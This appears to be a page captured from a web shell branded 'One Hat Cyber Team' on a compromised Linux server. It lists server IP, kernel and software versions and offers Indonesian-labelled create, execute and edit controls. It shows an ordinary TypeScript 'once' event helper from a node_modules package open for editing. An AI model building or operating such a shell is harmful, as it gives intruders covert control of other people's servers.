⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
node_modules
/
@tootallnate
/
once
/
src
/
Edit File: index.ts
import { EventEmitter } from 'events'; import { EventNames, EventListenerParameters, AbortSignal } from './types.js'; export interface OnceOptions { signal?: AbortSignal; } export default function once< Emitter extends EventEmitter, Event extends EventNames<Emitter> >( emitter: Emitter, name: Event, { signal }: OnceOptions = {} ): Promise<EventListenerParameters<Emitter, Event>> { return new Promise((resolve, reject) => { function cleanup() { signal?.removeEventListener('abort', cleanup); emitter.removeListener(name, onEvent); emitter.removeListener('error', onError); } function onEvent(...args: EventListenerParameters<Emitter, Event>) { cleanup(); resolve(args); } function onError(err: Error) { cleanup(); reject(err); } signal?.addEventListener('abort', cleanup); emitter.on(name, onEvent); emitter.on('error', onError); }); }
Simpan